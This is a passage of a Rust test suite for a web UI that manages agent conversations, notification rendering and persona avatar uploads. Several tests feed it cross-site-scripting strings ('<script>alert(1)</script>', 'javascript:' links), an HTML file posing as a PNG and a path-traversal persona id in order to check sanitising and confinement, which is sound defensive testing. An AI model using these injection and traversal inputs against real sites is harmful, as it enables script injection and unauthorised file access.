13948 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13949 let saved = talks.get(&id).expect("reload");
13950 assert_eq!(saved.agent, "second");
13951 assert_eq!(saved.turns.len(), 1);
13952 assert!(!view.thinking);
13953 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13954 for agent in ["mock", "second"] {
13955 let Json(view) = call(agent).await.expect("immediate consecutive change");
13956 assert_eq!(view.talk.agent, agent);
13957 assert!(!view.thinking);
13958 assert!(!ui.is_thinking(&id));
13959 }
13960
13961 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13962 .await
13963 .expect("detail");
13964 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13965 assert_eq!(roster, ["mock", "second"]);
13966
13967 let mut closed = talks.get(&id).expect("reload");
13968 talk::close(&mut closed, &talks).expect("close");
13969 let refused = call("mock").await.expect_err("closed talk");
13970 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13971 assert!(
13972 refused.message.contains("takes no more turns"),
13973 "{}",
13974 refused.message
13975 );
13976 }
13977
13978 #[tokio::test]
13979 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13980 let tmp = TempDir::new().expect("tempdir");
13981 let repo = tmp.path().join("repo");
13982 std::fs::create_dir_all(&repo).expect("repo dir");
13983 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13984 let home = TempDir::new().expect("temp home");
13985 let talks = Talks::at(home.path().join("talks"));
13986 let ui = Arc::new(
13987 Ui::new(
13988 Queue::at(home.path().join("queue")),
13989 Questions::at(home.path().join("questions")),
13990 talks.clone(),
13991 home.path().join("runs"),
13992 home.path().to_path_buf(),
13993 repo.clone(),
13994 )
13995 .with_worktrees_root(home.path().join("wt")),
13996 );
13997 let cfg = config_for(&repo).await.expect("discover config");
13998 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13999 let id = talk.id.clone();
14000 let call = |n: u8| {
14001 talk_implementers(
14002 State(Arc::clone(&ui)),
14003 Path(id.clone()),
14004 Json(TalkImplementers { implementers: n }),
14005 )
14006 };
14007
14008 for bad in [0u8, 4] {
14009 let e = call(bad).await.expect_err("out of range");
14010 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14011 }
14012 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14013
14014 {
14015 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14018 let busy = call(2).await.expect_err("busy talk");
14019 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14020 assert!(
14021 busy.message.contains("a talk turn is running"),
14022 "{}",
14023 busy.message
14024 );
14025 drop(guard);
14026 }
14027
14028 let Json(view) = call(3).await.expect("switch");
14029 assert_eq!(view.talk.implementers, 3);
14030 assert!(talks.get(&id).expect("reload").implementers_dirty);
14031 assert!(!view.thinking);
14032 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14033 for n in [1, 2, 3] {
14034 let Json(view) = call(n).await.expect("immediate consecutive change");
14035 assert_eq!(view.talk.implementers, n);
14036 assert!(!view.thinking);
14037 assert!(!ui.is_thinking(&id));
14038 }
14039
14040 let mut closed = talks.get(&id).expect("reload");
14041 talk::close(&mut closed, &talks).expect("close");
14042 let e = call(2).await.expect_err("closed talk");
14043 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14044 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14045 }
14046
14047 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14049 let tmp = TempDir::new().expect("tempdir");
14050 let repo = tmp.path().join("repo");
14051 std::fs::create_dir_all(&repo).expect("repo dir");
14052 std::fs::write(
14053 repo.join("magi.toml"),
14054 format!("{MOCK_AGENT_TOML}\n{extra}"),
14055 )
14056 .expect("write magi.toml");
14057 let home = TempDir::new().expect("temp home");
14058 let talks = Talks::at(home.path().join("talks"));
14059 let ui = Arc::new(
14060 Ui::new(
14061 Queue::at(home.path().join("queue")),
14062 Questions::at(home.path().join("questions")),
14063 talks.clone(),
14064 home.path().join("runs"),
14065 home.path().to_path_buf(),
14066 repo.clone(),
14067 )
14068 .with_worktrees_root(home.path().join("wt")),
14069 );
14070 let cfg = config_for(&repo).await.expect("discover config");
14071 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14072 (tmp, home, ui, talk.id, repo)
14073 }
14074
14075 #[tokio::test]
14076 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14077 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14078 let mut conversation = ui.talks.get(&id).unwrap();
14079 talk::record(
14080 &mut conversation,
14081 &ui.talks,
14082 "# Update on a task you filed\noperator words",
14083 vec![],
14084 )
14085 .unwrap();
14086 conversation.turns[0].sender = None;
14088 conversation.turns[0].messages.clear();
14089 ui.talks.put(&mut conversation).unwrap();
14090 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14091 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14092 talk::drain(&mut conversation, &ui.talks).unwrap();
14093 talk::record_reply(
14094 &mut conversation,
14095 &ui.talks,
14096 "about that report",
14097 vec![],
14098 Some(talk::ReplyTarget {
14099 turn: 1,
14100 message: 1,
14101 }),
14102 )
14103 .unwrap();
14104 conversation.turns[2].messages[0]
14105 .reply
14106 .as_mut()
14107 .unwrap()
14108 .sender = None;
14109 conversation.turns.push(talk::Turn {
14110 sender: Some(talk::Sender::Persona),
14111 who: talk::Who::Agent,
14112 body: "magi: actual persona words".into(),
14113 at: Timestamp::now(),
14114 attachments: vec![],
14115 usage: None,
14116 breaks: None,
14117 messages: vec![],
14118 posted_by: None,
14119 });
14120 ui.talks.put(&mut conversation).unwrap();
14121 let view = TalkView::with_config(
14122 ui.talks.get(&id).unwrap(),
14123 false,
14124 None,
14125 &ui.home,
14126 &ui.references,
14127 );
14128 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14129 assert_eq!(
14130 view.talk.turns[1].messages[0].sender,
14131 Some(talk::Sender::Operator)
14132 );
14133 assert_eq!(
14134 view.talk.turns[1].messages[1].sender,
14135 Some(talk::Sender::Magi)
14136 );
14137 assert_eq!(
14138 view.talk.turns[2].messages[0]
14139 .reply
14140 .as_ref()
14141 .unwrap()
14142 .sender,
14143 Some(talk::Sender::Magi)
14144 );
14145 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14146 assert_eq!(view.turn_messages_md[0].len(), 1);
14147 assert!(view.turn_messages_md[0][0].is_none());
14148 assert!(view.turn_messages_md[1][0].is_none());
14149 assert!(view.turn_messages_md[1][1].is_some());
14150 }
14151
14152 #[tokio::test]
14153 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14154 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14155 let mut conversation = ui.talks.get(&id).unwrap();
14156 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14157 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14158 talk::queue_notice(
14159 &mut conversation,
14160 &ui.talks,
14161 &body,
14162 "watch:123",
14163 &|_| false,
14164 None,
14165 display.clone(),
14166 )
14167 .unwrap();
14168 assert!(
14169 !talk::queue_notice(
14170 &mut conversation,
14171 &ui.talks,
14172 &body,
14173 "watch:123",
14174 &|_| false,
14175 None,
14176 display.clone()
14177 )
14178 .unwrap()
14179 );
14180 let saved = ui.talks.get(&id).unwrap();
14181 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14182 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14183 assert!(
14184 view.talk.turns[0].messages[0].display.is_none(),
14185 "operator copy stays literal"
14186 );
14187 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14188 assert!(view.turn_messages_md[0][0].is_none());
14189 let queued_md = view.pending_messages_md[0].clone();
14190 assert_eq!(
14191 queued_md,
14192 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14193 );
14194 talk::drain(&mut conversation, &ui.talks).unwrap();
14195 talk::record_reply(
14196 &mut conversation,
14197 &ui.talks,
14198 "Explain",
14199 vec![],
14200 Some(talk::ReplyTarget {
14201 turn: 1,
14202 message: 0,
14203 }),
14204 )
14205 .unwrap();
14206 let mut saved = ui.talks.get(&id).unwrap();
14207 assert_eq!(saved.turns[1].messages[0].body, body);
14208 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14209 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14210 assert!(!reply.excerpt.contains("automatic report"));
14211 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
14214 let view = TalkView::with_config(
14215 ui.talks.get(&id).unwrap(),
14216 false,
14217 None,
14218 &ui.home,
14219 &ui.references,
14220 );
14221 assert_eq!(view.turn_messages_md[1][0], queued_md);
14222 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14223 assert!(
14224 !view.talk.turns[2].messages[0]
14225 .reply
14226 .as_ref()
14227 .unwrap()
14228 .excerpt
14229 .contains("automatic report")
14230 );
14231 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14232 }
14233
14234 #[tokio::test]
14235 async fn consultation_display_hides_directives_in_queue_and_history() {
14236 for node in [
14237 "implement",
14238 crate::land::APPROVAL_NODE,
14239 crate::github_text::ASK_NODE,
14240 ] {
14241 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14242 let mut question = Question::new(
14243 "run-123".into(),
14244 node.into(),
14245 "seat-1".into(),
14246 "Which backend?".into(),
14247 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14248 vec!["SQLite".into(), "Redis".into()],
14249 );
14250 ui.questions.put(&mut question).unwrap();
14251 let body = crate::prompt::chat_consult(&question);
14252 let mut conversation = ui.talks.get(&id).unwrap();
14253 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14254 assert!(
14255 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14256 );
14257 conversation = ui.talks.get(&id).unwrap();
14258 assert_eq!(conversation.pending_messages[0].body, body);
14259 assert!(body.contains("magi answer"));
14260 let mut legacy_pending = conversation.clone();
14261 legacy_pending.pending_messages[0].display = None;
14262 let legacy_view =
14263 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14264 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14265 assert!(legacy_md.contains("Question consultation"));
14266 assert!(!legacy_md.contains("magi answer"));
14267 let view =
14268 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14269 assert!(
14270 view.turn_messages_md[0][0].is_none(),
14271 "operator copy stays literal"
14272 );
14273 let queued_md = view.pending_messages_md[0].clone().unwrap();
14274 let rendered = serde_json::to_string(&queued_md).unwrap();
14275 for visible in [
14276 "Which backend?",
14277 "Context",
14278 "storage",
14279 "SQLite",
14280 "Redis",
14281 "<script>literal</script>",
14282 ] {
14283 assert!(rendered.contains(visible), "missing {visible}");
14284 }
14285 for directive in [
14286 "What to do",
14287 "magi answer",
14288 "Never answer it yourself",
14289 "Do not edit the repository",
14290 ] {
14291 assert!(!rendered.contains(directive), "exposed {directive}");
14292 }
14293 assert_eq!(
14294 view.talk.pending_messages[0].display,
14295 Some(crate::prompt::chat_consult_display(&question))
14296 );
14297 talk::drain(&mut conversation, &ui.talks).unwrap();
14298 let view =
14299 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14300 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14301 assert_eq!(conversation.turns[1].messages[0].body, body);
14302
14303 conversation.turns[1].messages[0].display = None;
14306 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14307 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14308 assert!(legacy.contains("Question consultation"));
14309 assert!(!legacy.contains("magi answer"));
14310 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14311 }
14312 }
14313
14314 #[test]
14315 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14316 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14317 let (body, mut display) =
14318 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14319 display.facts = facts.into();
14320 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14321 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14322 let json = serde_json::to_string(&nodes).unwrap();
14323 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14324 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14325 }
14326 assert!(json.contains("<script>alert(1)</script>"));
14327 assert!(!json.contains("javascript:"));
14328 assert!(!json.contains("Tell the operator"));
14329 assert!(!json.contains("untrusted"));
14330 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14331 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14332 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14333 assert_eq!(
14334 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14335 md::to_nodes("# Status", &md::ImageBase::None),
14336 );
14337 }
14338
14339 #[tokio::test]
14340 async fn notification_display_recovers_exact_legacy_completion_references() {
14341 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14342 let mut conversation = ui.talks.get(&id).unwrap();
14343 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14344 id: "task-123",
14345 title: "Change",
14346 status: "done",
14347 reason: None,
14348 run: Some("run-123"),
14349 pr: None,
14350 summary: Some("Merge state unknown"),
14351 });
14352 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14353 conversation.turns[0].sender = None;
14354 conversation.turns[0].messages.clear();
14355 conversation.turns[0].breaks = None;
14356 conversation.pending = body.clone();
14357 conversation
14358 .completion_notices
14359 .push(crate::chat_notify::CompletionReference {
14360 task: "task-123".into(),
14361 run: Some("run-123".into()),
14362 notice: body.clone(),
14363 });
14364 ui.talks.put(&mut conversation).unwrap();
14365 let view = TalkView::with_config(
14366 ui.talks.get(&id).unwrap(),
14367 false,
14368 None,
14369 &ui.home,
14370 &ui.references,
14371 );
14372 assert_eq!(
14373 view.talk.turns[0].messages[0].display,
14374 Some(display.clone())
14375 );
14376 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14377 assert_eq!(
14378 view.talk.turns[0].messages[0].sender,
14379 Some(talk::Sender::Magi)
14380 );
14381 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14382 conversation.completion_notices[0]
14383 .notice
14384 .push_str("different");
14385 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14386 assert!(view.talk.turns[0].messages.is_empty());
14387 assert!(view.talk.pending_messages.is_empty());
14388 }
14389
14390 #[tokio::test]
14391 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14392 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14393 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14394 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14395 ))
14396 .await;
14397 let path = avatar_setting_path(home.path(), Some("rei"));
14398 let orphan = avatar_setting_path(home.path(), Some("removed"));
14399 save_icon_file(&orphan, icon).unwrap();
14400 for (saved, expected) in [
14401 (icon, "custom"),
14402 ("builtin", "builtin"),
14403 ("data:image/png;base64,!!!!", "inherit"),
14404 ("data:image/png;base64,PGh0bWw+", "inherit"),
14405 ("/tmp/avatar.png", "inherit"),
14406 ] {
14407 atomic_icon_write(&path, saved).unwrap();
14408 let catalog =
14409 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14410 .await
14411 .unwrap()
14412 .0;
14413 let personas = catalog["personas"].as_array().unwrap();
14414 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14415 assert_eq!(rei["override_state"], expected);
14416 assert_eq!(rei["has_config_icon"], true);
14417 assert_eq!(rei["is_orphan"], false);
14418 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14419 assert_eq!(removed["override_state"], "custom");
14420 assert_eq!(removed["is_orphan"], true);
14421 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14422 assert_eq!(default["override_state"], "inherit");
14423 assert_eq!(default["has_config_icon"], false);
14424 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14425 assert_eq!(
14426 effective.as_deref(),
14427 Some(if expected == "builtin" { "" } else { icon })
14428 );
14429 }
14430 }
14431
14432 #[tokio::test]
14433 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14434 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14435 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14436 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14437 ))
14438 .await;
14439 let target = |id: Option<&str>| AvatarSettingsQuery {
14440 persona: id.map(str::to_owned),
14441 ..Default::default()
14442 };
14443 let original_config = config_for(&repo).await.unwrap();
14444 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14445 let original_prompt = persona::section_for(&original_persona, None);
14446 let before = talk_detail(State(ui.clone()), Path(id.clone()))
14447 .await
14448 .unwrap()
14449 .0;
14450 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14451 let _ = avatar_settings_put(
14452 State(ui.clone()),
14453 Query(target(persona)),
14454 Json(MagiIconUpload { icon: icon.into() }),
14455 )
14456 .await
14457 .unwrap();
14458 let path = avatar_setting_path(home.path(), persona);
14459 assert!(path.starts_with(home.path().join("avatars")));
14460 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14461 for bad in [
14462 "/tmp/image.png".to_owned(),
14463 "data:image/png;base64,!!!!".to_owned(),
14464 "data:image/png;base64,PGh0bWw+".to_owned(),
14465 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14466 format!(
14467 "data:image/png;base64,{}",
14468 "A".repeat(persona_icon::ICON_MAX_BYTES)
14469 ),
14470 ] {
14471 assert!(
14472 avatar_settings_put(
14473 State(ui.clone()),
14474 Query(target(persona)),
14475 Json(MagiIconUpload { icon: bad })
14476 )
14477 .await
14478 .is_err()
14479 );
14480 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14481 }
14482 }
14483 assert!(read_magi_icon(home.path()).is_none());
14484 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14485 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14486 .await
14487 .unwrap()
14488 .0;
14489 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14490 assert_ne!(
14491 before
14492 .personas
14493 .iter()
14494 .find(|p| p.id == "magi")
14495 .unwrap()
14496 .avatar,
14497 after
14498 .personas
14499 .iter()
14500 .find(|p| p.id == "magi")
14501 .unwrap()
14502 .avatar
14503 );
14504 let restarted = Arc::new(Ui::new(
14505 Queue::at(home.path().join("queue")),
14506 Questions::at(home.path().join("questions")),
14507 Talks::at(home.path().join("talks")),
14508 home.path().join("runs"),
14509 home.path().to_owned(),
14510 repo,
14511 ));
14512 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14513 .await
14514 .unwrap()
14515 .0;
14516 assert!(
14517 catalog["personas"]
14518 .as_array()
14519 .unwrap()
14520 .iter()
14521 .any(|p| p["id"] == "../custom/日本語")
14522 );
14523 for expected in ["custom", "default", "rei"] {
14524 assert!(
14525 catalog["personas"]
14526 .as_array()
14527 .unwrap()
14528 .iter()
14529 .any(|p| p["id"] == expected)
14530 );
14531 }
14532 let response =
14533 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14534 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14535 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14536 .await
14537 .unwrap();
14538 assert_eq!(
14539 effective_persona_icon(home.path(), "rei", Some(icon)),
14540 Some(String::new())
14541 );
14542 let response = talk_avatar(
14543 State(restarted.clone()),
14544 Path(id.clone()),
14545 Query(AvatarQuery {
14546 persona: Some("rei".into()),
14547 ..Default::default()
14548 }),
14549 )
14550 .await
14551 .unwrap();
14552 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14553 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14554 .await
14555 .unwrap()
14556 .0;
14557 assert_ne!(
14558 after
14559 .personas
14560 .iter()
14561 .find(|p| p.id == "rei")
14562 .unwrap()
14563 .avatar,
14564 reset
14565 .personas
14566 .iter()
14567 .find(|p| p.id == "rei")
14568 .unwrap()
14569 .avatar
14570 );
14571 let mut inherit = target(Some("rei"));
14572 inherit.inherit = Some("1".into());
14573 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14574 .await
14575 .unwrap();
14576 assert_eq!(
14577 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14578 Some(icon)
14579 );
14580 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14581 .await
14582 .unwrap();
14583 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14584 assert_eq!(
14585 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14586 Some(icon)
14587 );
14588 let cfg = config_for(&ui.repo).await.unwrap();
14590 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14591 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14592 assert!(!original_prompt.contains("data:image"));
14593 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14594 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14595 assert!(!stored.contains("data:image"));
14596 let mut orphan = ui.talks.get(&id).unwrap();
14597 orphan.persona = "../custom/日本語".into();
14598 let view = TalkView::with_config(
14599 orphan,
14600 false,
14601 Some(&cfg),
14602 home.path(),
14603 &id_links::IndexCache::default(),
14604 );
14605 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14606 }
14607
14608 #[tokio::test]
14609 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14610 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14611 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14612 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14613 let _ = magi_icon_put(
14614 State(ui.clone()),
14615 Json(MagiIconUpload { icon: icon.into() }),
14616 )
14617 .await
14618 .unwrap();
14619 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14620 assert_ne!(original, changed);
14621 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14622 let response = magi_avatar(
14623 State(ui.clone()),
14624 Query(AvatarQuery {
14625 persona: None,
14626 builtin: None,
14627 }),
14628 )
14629 .await;
14630 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14631 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14632 assert_eq!(
14633 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14634 "nosniff"
14635 );
14636 for bad in [
14637 "data:image/png;base64,PGh0bWw+".to_owned(),
14638 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14639 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14640 ] {
14641 assert!(save_magi_icon(home.path(), &bad).is_err());
14642 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14643 }
14644 let restarted = Arc::new(Ui::new(
14646 Queue::at(home.path().join("queue")),
14647 Questions::at(home.path().join("questions")),
14648 Talks::at(home.path().join("talks")),
14649 home.path().join("runs"),
14650 home.path().to_path_buf(),
14651 repo,
14652 ));
14653 assert_eq!(
14654 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14655 changed
14656 );
14657 let view = TalkView::with_config(
14658 restarted.talks.get(&id).unwrap(),
14659 false,
14660 None,
14661 &restarted.home,
14662 &restarted.references,
14663 );
14664 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14665 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14666 let response = magi_avatar(
14667 State(ui.clone()),
14668 Query(AvatarQuery {
14669 persona: None,
14670 builtin: None,
14671 }),
14672 )
14673 .await;
14674 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14675 .await
14676 .unwrap();
14677 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14678 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14679 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14680 let _ = magi_icon_delete(State(ui)).await.unwrap();
14681 }
14682
14683 async fn avatar(
14685 ui: &Arc<Ui>,
14686 id: &str,
14687 persona: Option<&str>,
14688 builtin: bool,
14689 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14690 let res = talk_avatar(
14691 State(Arc::clone(ui)),
14692 Path(id.to_owned()),
14693 Query(AvatarQuery {
14694 persona: persona.map(str::to_owned),
14695 builtin: builtin.then(|| "1".to_owned()),
14696 }),
14697 )
14698 .await
14699 .expect("an avatar is never an error response");
14700 let h = res.headers();
14701 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14702 let nosniff = h
14703 .get(header::X_CONTENT_TYPE_OPTIONS)
14704 .is_some_and(|v| v == "nosniff");
14705 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14706 let status = res.status();
14707 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14708 .await
14709 .expect("body")
14710 .to_vec();
14711 (status, ct, nosniff, csp, body)
14712 }
14713
14714 fn tiny_png() -> Vec<u8> {
14715 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14716 b.extend_from_slice(&[0u8; 32]);
14717 b
14718 }
14719
14720 #[tokio::test]
14721 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14722 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14723 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14724 assert_eq!(res.status(), StatusCode::OK);
14725 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14726 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14727 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14728 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14729 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14730 .await
14731 .unwrap();
14732 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14733 assert_ne!(
14734 persona_icon::operator_svg(),
14735 persona_icon::builtin_svg("default")
14736 );
14737 }
14738
14739 #[tokio::test]
14740 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14741 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14742 for p in [
14743 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14744 ] {
14745 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14746 assert_eq!(status, StatusCode::OK, "{p}");
14747 assert_eq!(ct, "image/svg+xml", "{p}");
14748 assert!(nosniff && csp, "{p}");
14749 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14750 }
14751 let own = avatar(&ui, &id, None, false).await;
14753 let default = avatar(&ui, &id, Some("default"), false).await;
14754 assert_eq!(own.4, default.4);
14755 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14756 assert_eq!(unknown.1, "image/svg+xml");
14757 }
14758
14759 #[tokio::test]
14760 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14761 let dir = TempDir::new().expect("icons");
14762 let good = dir.path().join("good.png");
14763 std::fs::write(&good, tiny_png()).unwrap();
14764 let spoof = dir.path().join("spoof.png");
14765 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14766 let big = dir.path().join("big.png");
14767 let mut bytes = tiny_png();
14768 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14769 std::fs::write(&big, bytes).unwrap();
14770 let missing = dir.path().join("missing.png");
14771 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14772 let extra = format!(
14773 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14774 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14775 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14776 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14777 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14778 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14779 uri(&good),
14780 uri(&spoof),
14781 uri(&big),
14782 uri(&missing),
14783 );
14784 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14785
14786 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14787 assert_eq!(
14788 (status, ct.as_str(), nosniff),
14789 (StatusCode::OK, "image/png", true)
14790 );
14791 assert_eq!(body, tiny_png());
14792 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
